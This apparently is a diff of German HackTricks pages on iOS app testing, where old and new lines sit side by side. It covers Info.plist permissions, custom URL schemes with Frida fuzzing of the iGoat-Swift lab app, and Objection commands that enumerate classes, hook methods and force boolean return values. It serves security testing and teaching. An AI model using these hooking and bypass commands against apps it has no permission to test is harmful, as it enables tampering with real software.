Im Bereich der App-Entwicklung spielt **Sandboxing** eine entscheidende Rolle bei der Verbesserung der Sicherheit. Dieser Prozess stellt sicher, dass jede App in ihrem eigenen einzigartigen Home-Verzeichnis arbeitet, wodurch verhindert wird, dass sie auf Systemdateien oder Daten anderer Apps zugreift. Die Durchsetzung dieser Einschränkungen erfolgt durch Sandbox-Richtlinien, die Teil des **Trusted BSD (MAC) Mandatory Access Control Framework** sind.
Entwickler haben die Möglichkeit, bestimmte **Fähigkeiten oder Berechtigungen** für ihre Apps zu konfigurieren, wie z.B. **Datenschutz** oder **Keychain Sharing**. Diese Berechtigungen werden unmittelbar nach der Installation der App angewendet. Um jedoch auf bestimmte geschützte Ressourcen zugreifen zu können, muss die App die explizite Zustimmung des Benutzers zum Zeitpunkt des ersten Versuchs einholen. Dies wird durch die Verwendung von _Zweck-Strings_ oder _Verwendungszweck-Beschreibungs-Strings_ erreicht, die Benutzern in einer Berechtigungsanfrage angezeigt werden.
Entwickler haben die Möglichkeit, bestimmte **Funktionen oder Berechtigungen** für ihre Apps zu konfigurieren, wie z.B. **Datenschutz** oder **Keychain-Sharing**. Diese Berechtigungen werden sofort nach der Installation der App angewendet. Dennoch muss die App für den Zugriff auf bestimmte geschützte Ressourcen die ausdrückliche Zustimmung des Benutzers zum Zeitpunkt des ersten Versuchs einholen. Dies wird durch die Verwendung von _Zweck-Strings_ oder _Nutzungsbeschreibungs-Strings_ erreicht, die den Benutzern in einer Berechtigungsanfrage angezeigt werden.
Für diejenigen, die Zugriff auf den Quellcode haben, kann die Überprüfung der Berechtigungen, die in der `Info.plist`-Datei enthalten sind, wie folgt erfolgen:
Für diejenigen mit Zugang zum Quellcode kann die Überprüfung der Berechtigungen, die in der `Info.plist`-Datei enthalten sind, wie folgt erfolgen:
1. Das Projekt in Xcode öffnen.
2. Die `Info.plist`-Datei suchen und öffnen.
3. Nach Schlüsseln suchen, die mit `"Privacy -"` beginnen, mit der Option, Rohschlüssel/Werte zur besseren Übersicht anzuzeigen.
1. Öffnen Sie das Projekt in Xcode.
2. Suchen und öffnen Sie die `Info.plist`-Datei.
3. Suchen Sie nach Schlüsseln, die mit `"Privacy -"` beginnen, mit der Option, rohe Schlüssel/Werte zur Klarheit anzuzeigen.
Bei der Arbeit mit einer IPA-Datei können die folgenden Schritte befolgt werden:
Beim Umgang mit einer IPA-Datei können die folgenden Schritte befolgt werden:
1. Die IPA-Datei entpacken.
2. Die `Info.plist`-Datei innerhalb von `Payload/<appname>.app/` suchen.
3. Die Datei bei Bedarf in das XML-Format konvertieren, um sie einfacher zu überprüfen.
1. Entpacken Sie die IPA.
2. Suchen Sie die `Info.plist`-Datei innerhalb von `Payload/<appname>.app/`.
3. Konvertieren Sie die Datei bei Bedarf in das XML-Format, um eine einfachere Inspektion zu ermöglichen.
Beispielhaft könnten die Zweck-Strings in der `Info.plist`-Datei wie folgt aussehen:
Zum Beispiel könnten die Zweck-Strings in der `Info.plist`-Datei so aussehen:
```xml
<plist version="1.0">
<dict>
<key>NSLocationWhenInUseUsageDescription</key>
<string>Your location is used to provide turn-by-turn directions to your destination.</string>
```
## Gerätefähigkeiten
Die `Info.plist`-Datei einer App gibt die **Gerätefähigkeiten** an, die dem App Store helfen, Apps nach Gerätekompatibilität zu filtern. Diese werden unter dem Schlüssel **`UIRequiredDeviceCapabilities`** definiert. Zum Beispiel:
## Device Capabilities
Die `Info.plist`-Datei einer App gibt **Gerätefähigkeiten** an, die dem App Store helfen, Apps nach Gerätekompatibilität zu filtern. Diese sind unter dem **`UIRequiredDeviceCapabilities`**-Schlüssel definiert. Zum Beispiel:
```xml
<key>UIRequiredDeviceCapabilities</key>
<array>
<string>armv7</string>
</array>
```
Dieses Beispiel zeigt, dass die App mit dem Befehlssatz armv7 kompatibel ist. Entwickler können auch Fähigkeiten wie NFC angeben, um sicherzustellen, dass ihre App nur auf Geräten verfügbar ist, die NFC unterstützen.
Dieses Beispiel zeigt, dass die App mit dem armv7-Befehlssatz kompatibel ist. Entwickler können auch Funktionen wie nfc angeben, um sicherzustellen, dass ihre App nur auf Geräten verfügbar ist, die NFC unterstützen.
## Berechtigungen
**Berechtigungen** sind ein weiterer wichtiger Aspekt der iOS-App-Entwicklung und dienen als Schlüssel-Wert-Paare, die Apps die Erlaubnis geben, bestimmte Operationen über Laufzeitprüfungen hinaus durchzuführen. Zum Beispiel erfordert das Aktivieren des **Daten­schutzes** in einer App das Hinzufügen einer spezifischen Berechtigung im Xcode-Projekt, die sich dann in der Berechtigungsdatei der App oder der eingebetteten mobilen Bereitstellungsdatei für IPAs widerspiegelt.
**Berechtigungen** sind ein weiterer kritischer Aspekt der iOS-App-Entwicklung und dienen als Schlüssel-Wert-Paare, die Apps die Erlaubnis erteilen, bestimmte Operationen über Laufzeitprüfungen hinaus durchzuführen. Zum Beispiel beinhaltet das Aktivieren von **Datenschutz** in einer App das Hinzufügen einer spezifischen Berechtigung im Xcode-Projekt, die dann in der Berechtigungsdatei der App oder der eingebetteten mobilen Bereitstellungsdatei für IPAs reflektiert wird.
# Referenzen
@ -141,16 +142,17 @@ Dieses Beispiel zeigt, dass die App mit dem Befehlssatz armv7 kompatibel ist. En
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Dies ist eine Zusammenfassung der relevanten Informationen von [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
## Grundlegende Informationen
## Grundinformationen
Benutzerdefinierte URL-Schemata ermöglichen es Apps, über ein benutzerdefiniertes Protokoll zu kommunizieren, wie in der [Apple Developer-Dokumentation](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1) beschrieben. Diese Schemata müssen von der App deklariert werden, die dann eingehende URLs gemäß diesen Schemata verarbeitet. Es ist entscheidend, **alle URL-Parameter zu validieren** und **fehlerhafte URLs zu verwerfen**, um Angriffe über diesen Vektor zu verhindern.
Benutzerdefinierte URL-Schemata ermöglichen es Apps, über ein benutzerdefiniertes Protokoll zu kommunizieren, wie in der [Apple Developer Documentation](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1) beschrieben. Diese Schemata müssen von der App deklariert werden, die dann eingehende URLs gemäß diesen Schemata verarbeitet. Es ist entscheidend, **alle URL-Parameter zu validieren** und **alle fehlerhaften URLs zu verwerfen**, um Angriffe über diesen Vektor zu verhindern.
Ein Beispiel ist gegeben, bei dem die URI `myapp://hostname?data=123876123` eine bestimmte Aktion der Anwendung aufruft. Eine bekannte Schwachstelle bestand in der Skype Mobile-App, die unerlaubte Anrufaktionen über das `skype://`-Protokoll ermöglichte. Die registrierten Schemata finden sich in der `Info.plist` der App unter `CFBundleURLTypes`. Bösartige Anwendungen können dies ausnutzen, indem sie URIs erneut registrieren, um sensible Informationen abzufangen.
Ein Beispiel wird gegeben, bei dem die URI `myapp://hostname?data=123876123` eine spezifische Anwendungsaktion auslöst. Eine festgestellte Schwachstelle war in der Skype Mobile-App, die unzulässige Anrufaktionen über das `skype://`-Protokoll erlaubte. Die registrierten Schemata finden sich in der `Info.plist` der App unter `CFBundleURLTypes`. Bösartige Anwendungen können dies ausnutzen, indem sie URIs neu registrieren, um sensible Informationen abzufangen.
### Registrierung von Anwendungsabfrageschemata
### Registrierung von Anwendungsabfrage-Schemata
Ab iOS 9.0 erfordert `canOpenURL:` zur Überprüfung der Verfügbarkeit einer App die Deklaration von URL-Schemata in der `Info.plist` unter `LSApplicationQueriesSchemes`. Dadurch werden die Schemata eingeschränkt, die eine App abfragen kann, auf 50 begrenzt, um die Privatsphäre durch Verhinderung der App-Aufzählung zu verbessern.
Seit iOS 9.0 erfordert `canOpenURL:`, um zu überprüfen, ob eine App verfügbar ist, die Deklaration von URL-Schemata in der `Info.plist` unter `LSApplicationQueriesSchemes`. Dies begrenzt die Schemata, die eine App abfragen kann, auf 50 und verbessert die Privatsphäre, indem es die Auflistung von Apps verhindert.
```xml
<key>LSApplicationQueriesSchemes</key>
<array>
@ -30,9 +31,9 @@ Ab iOS 9.0 erfordert `canOpenURL:` zur Überprüfung der Verfügbarkeit einer Ap
<string>url_scheme2</string>
</array>
```
### Testen der URL-Behandlung und -Validierung
### Testing URL Handling and Validation
Entwickler sollten bestimmte Methoden im Quellcode überprüfen, um die Konstruktion und Validierung des URL-Pfads zu verstehen, wie z.B. `application:didFinishLaunchingWithOptions:` und `application:openURL:options:`. Zum Beispiel verwendet Telegram verschiedene Methoden zum Öffnen von URLs:
Entwickler sollten spezifische Methoden im Quellcode untersuchen, um den Aufbau und die Validierung von URL-Pfaden zu verstehen, wie `application:didFinishLaunchingWithOptions:` und `application:openURL:options:`. Zum Beispiel verwendet Telegram verschiedene Methoden zum Öffnen von URLs:
```swift
func application(_ application: UIApplication, open url: URL, sourceApplication: String?) -> Bool {
self.openUrl(url: url)
@ -56,17 +57,17 @@ self.openUrl(url: url)
return true
}
```
### Testen von URL-Anfragen an andere Apps
### Testing URL Requests to Other Apps
Methoden wie `openURL:options:completionHandler:` sind entscheidend, um URLs zu öffnen und mit anderen Apps zu interagieren. Die Identifizierung der Verwendung solcher Methoden im Quellcode der App ist entscheidend, um externe Kommunikation zu verstehen.
Methoden wie `openURL:options:completionHandler:` sind entscheidend, um URLs zu öffnen und mit anderen Apps zu interagieren. Die Identifizierung der Nutzung solcher Methoden im Quellcode der App ist der Schlüssel zum Verständnis externer Kommunikationen.
### Testen veralteter Methoden
### Testing for Deprecated Methods
Veraltete Methoden zur Behandlung von URL-Öffnungen, wie `application:handleOpenURL:` und `openURL:`, sollten identifiziert und auf Sicherheitsimplikationen überprüft werden.
Veraltete Methoden zur Handhabung von URL-Öffnungen, wie `application:handleOpenURL:` und `openURL:`, sollten identifiziert und auf Sicherheitsimplikationen überprüft werden.
### Fuzzing von URL-Schemata
### Fuzzing URL Schemes
Das Fuzzing von URL-Schemata kann Speicherbeschädigungsfehler identifizieren. Tools wie [Frida](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/) können diesen Prozess automatisieren, indem sie URLs mit unterschiedlichen Payloads öffnen, um auf Abstürze zu überwachen. Dies wird am Beispiel der Manipulation von URLs in der iGoat-Swift-App veranschaulicht:
Fuzzing von URL-Schemata kann Speicherbeschädigungsfehler identifizieren. Tools wie [Frida](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/) können diesen Prozess automatisieren, indem sie URLs mit unterschiedlichen Payloads öffnen, um auf Abstürze zu überwachen, veranschaulicht durch die Manipulation von URLs in der iGoat-Swift-App:
```bash
$ frida -U SpringBoard -l ios-url-scheme-fuzzing.js
[iPhone::SpringBoard]-> fuzz("iGoat", "iGoat://?contactNumber={0}&message={0}")
@ -77,16 +78,17 @@ Opened URL: iGoat://?contactNumber=0&message=0
## Referenzen
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}

View file

@ -1,36 +1,37 @@
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstütze HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}
Für diesen Abschnitt wird das Tool [**Objection**](https://github.com/sensepost/objection) verwendet.\
Beginnen Sie damit, eine Objection-Sitzung zu starten, indem Sie etwas wie Folgendes ausführen:
Beginne, indem du eine Objection-Sitzung startest, indem du etwas wie Folgendes ausführst:
```bash
objection -d --gadget "iGoat-Swift" explore
objection -d --gadget "OWASP.iGoat-Swift" explore
```
Du kannst auch `frida-ps -Uia` ausführen, um die laufenden Prozesse des Telefons zu überprüfen.
You can execute also `frida-ps -Uia` to check the running processes of the phone.
# Grundlegende Aufzählung der App
## Lokale App-Pfade
* `env`: Finde die Pfade, in denen die Anwendung auf dem Gerät gespeichert ist
* `env`: Finden Sie die Pfade, wo die Anwendung auf dem Gerät gespeichert ist
```bash
env
Name Pfad
Name Path
----------------- -----------------------------------------------------------------------------------------------
BundlePath /private/var/containers/Bundle/Application/179A6E8B-E7A8-476E-BBE3-B9300F546068/iGoat-Swift.app
CachesDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Library/Caches
@ -38,13 +39,13 @@ DocumentDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A1
LibraryDirectory /var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Library
```
## Auflistung von Bundles, Frameworks und Bibliotheken
## Liste von Bundles, Frameworks und Bibliotheken
* `ios bundles list_bundles`: Liste der Bundles der Anwendung
```bash
ios bundles list_bundles
Executable Bundle Version Pfad
Executable Bundle Version Path
------------ -------------------- --------- -------------------------------------------
iGoat-Swift OWASP.iGoat-Swift 1.0 ...8-476E-BBE3-B9300F546068/iGoat-Swift.app
AGXMetalA9 com.apple.AGXMetalA9 172.18.4 ...tem/Library/Extensions/AGXMetalA9.bundle
@ -53,7 +54,7 @@ AGXMetalA9 com.apple.AGXMetalA9 172.18.4 ...tem/Library/Extensions/AGXMeta
```bash
ios bundles list_frameworks
Executable Bundle Version Pfad
Executable Bundle Version Path
------------------------------ -------------------------------------------- ---------- -------------------------------------------
ReactCommon org.cocoapods.ReactCommon 0.61.5 ...tle.app/Frameworks/ReactCommon.framework
...vateFrameworks/CoreDuetContext.framework
@ -80,7 +81,7 @@ react_native_image_picker org.cocoapods.react-native-image-picker 2.
```bash
memory list modules
Name Base Größe Pfad
Name Base Size Path
----------------------------------- ----------- ------------------- ------------------------------------------------------------------------------
iGoat-Swift 0x104ffc000 2326528 (2.2 MiB) /private/var/containers/Bundle/Application/179A6E8B-E7A8-476E-BBE3-B9300F54...
SubstrateBootstrap.dylib 0x105354000 16384 (16.0 KiB) /usr/lib/substrate/SubstrateBootstrap.dylib
@ -92,11 +93,11 @@ Foundation 0x1ab550000 2732032 (2.6 MiB) /System/L
libobjc.A.dylib 0x1bdc64000 233472 (228.0 KiB) /usr/lib/libobjc.A.dylib
[...]
```
* `memory list exports <module_name>`: Exporte eines geladenen Moduls auflisten
* `memory list exports <module_name>`: Exporte eines geladenen Moduls
```bash
memory list exports iGoat-Swift
Typ Name Adresse
Type Name Address
-------- -------------------------------------------------------------------------------------------------------------------------------------- -----------
variable _mh_execute_header 0x104ffc000
function _mdictof 0x10516cb88
@ -115,9 +116,10 @@ variable _ZTVN9couchbase6differ10BaseDifferE
variable _ZTIN9couchbase6differ10BaseDifferE 0x10523c0f8
[..]
```
## Liste Klassen einer APP
* `ios hooking list classes`: Listet die Klassen der App auf
## Liste der Klassen einer APP
* `ios hooking list classes`: Liste der Klassen der App
```bash
ios hooking list classes
@ -135,7 +137,7 @@ AAAppleTVRequest
AAAttestationSigner
[...]
```
* `ios hooking search classes <search_term>`: Sucht nach einer Klasse, die einen bestimmten String enthält. Sie können **nach einem eindeutigen Begriff suchen, der mit dem Hauptpaketnamen der App zusammenhängt**, um die Hauptklassen der App zu finden, wie im Beispiel:
* `ios hooking search classes <search_term>`: Suche eine Klasse, die einen String enthält. Sie können **einen einzigartigen Begriff suchen, der mit dem Haupt-App-Paket** Namen verbunden ist, um die Hauptklassen der App zu finden, wie im Beispiel:
```bash
ios hooking search classes iGoat
@ -153,9 +155,9 @@ iGoat_Swift.MemoryManagementVC
[...]
```
## Liste Klassenmethoden
## Liste der Klassenmethoden
* `ios hooking list class_methods`: Listet die Methoden einer bestimmten Klasse auf
* `ios hooking list class_methods`: Liste der Methoden einer bestimmten Klasse
```bash
ios hooking list class_methods iGoat_Swift.RCreditInfo
@ -169,7 +171,7 @@ ios hooking list class_methods iGoat_Swift.RCreditInfo
- initWithValue:
- setCardNumber:
```
* `ios hooking search methods <search_term>`: Sucht nach einer Methode, die einen bestimmten String enthält
* `ios hooking search methods <search_term>`: Suche eine Methode, die einen String enthält
```bash
ios hooking search methods cvv
@ -188,33 +190,33 @@ ios hooking search methods cvv
# Grundlegendes Hooking
Nachdem Sie die Klassen und Module der Anwendung aufgelistet haben, haben Sie möglicherweise interessante Klassen- und Methodennamen gefunden.
Jetzt, da Sie **die Klassen und Module** aufgezählt haben, die von der Anwendung verwendet werden, haben Sie möglicherweise einige **interessante Klassen- und Methodennamen** gefunden.
## Hooken aller Methoden einer Klasse
## Alle Methoden einer Klasse hooken
* `ios hooking watch class <class_name>`: Hooken Sie alle Methoden einer Klasse, geben Sie alle initialen Parameter und Rückgaben aus
* `ios hooking watch class <class_name>`: Hooken Sie alle Methoden einer Klasse, dumpen Sie alle Anfangsparameter und Rückgaben
```bash
ios hooking watch class iGoat_Swift.PlistStorageExerciseViewController
```
## Hooken einer einzelnen Methode
## Eine einzelne Methode hooken
* `ios hooking watch method "-[<class_name> <method_name>]" --dump-args --dump-return --dump-backtrace`: Hooken Sie eine bestimmte Methode einer Klasse und geben Sie jedes Mal, wenn sie aufgerufen wird, die Parameter, Backtraces und Rückgaben der Methode aus
* `ios hooking watch method "-[<class_name> <method_name>]" --dump-args --dump-return --dump-backtrace`: Hooken Sie eine spezifische Methode einer Klasse und dumpen Sie die Parameter, Backtraces und Rückgaben der Methode jedes Mal, wenn sie aufgerufen wird
```bash
ios hooking watch method "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" --dump-args --dump-backtrace --dump-return
```
## Ändern des booleschen Rückgabewerts
## Boolean-Rückgabe ändern
* `ios hooking set return_value "-[<class_name> <method_name>]" false`: Damit gibt die ausgewählte Methode den angegebenen booleschen Wert zurück
* `ios hooking set return_value "-[<class_name> <method_name>]" false`: Dies wird dazu führen, dass die ausgewählte Methode den angegebenen Boolean zurückgibt
```bash
ios hooking set return_value "-[iGoat_Swift.BinaryCookiesExerciseVC verifyItemPressed]" false
```
## Generieren einer Hooking-Vorlage
## Hooking-Vorlage generieren
* `ios hooking generate simple <class_name>`:
@ -264,16 +266,17 @@ console.log('Leaving - setCvv:');
```
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie das Hacken von AWS von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories senden**.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichen.
</details>
{% endhint %}

View file

@ -1,34 +1,36 @@
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
